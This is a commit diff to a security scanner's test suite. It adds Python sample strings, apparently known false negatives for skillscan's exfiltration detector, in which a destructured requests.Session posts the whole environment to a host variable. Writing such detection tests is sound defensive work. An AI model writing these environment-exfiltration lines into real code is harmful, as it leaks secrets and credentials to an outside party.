test(skillscan): pin the destructuring-target instance-client false negatives (#4296) (#6982)

* test(skillscan): pin the destructuring-target instance-client false negatives (#4296)

* test(skillscan): drop the dangling case-number citation

---------

Co-authored-by: Jay0130-a <Jay0130-a@users.noreply.github.com>
Co-authored-by: Jay0130-a <309071492+Jay0130-a@users.noreply.github.com>
This commit is contained in:
Jay0130-a 2026-10-19 11:03:46 +08:00 committed by GitHub
parent dbebd18dd7
commit 50cd235a74
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1469,6 +1469,11 @@ def test_python_import_over_a_live_handle_drops_it(tmp_path: Path) -> None:
"import os\nimport requests\n\nsession = requests.Session()\nout = {}\nout[session.post(host, json=dict(os.environ))] = 1\n",
# Annotation evaluation varies by scope, future flags, and Python version, so it is skipped.
"import os\nimport requests\n\nsession = requests.Session()\ndef annotated(value: session.post(host, json=dict(os.environ))):\n pass\n",
# Sinks reached through a name bound by a destructuring target (issue #4296): the
# simple-name model reads the target's elements for bindings to drop but never records the
# values they bind, so the handle the first element really receives is not carried forward.
"import os\nimport requests\n\ns, other = requests.Session(), config\ns.post(host, json=dict(os.environ))\n",
"import os\nimport requests\n\n[s, other] = [requests.Session(), config]\ns.post(host, json=dict(os.environ))\n",
],
)
def test_python_declared_false_negatives_stay_unreported(tmp_path: Path, source: str) -> None: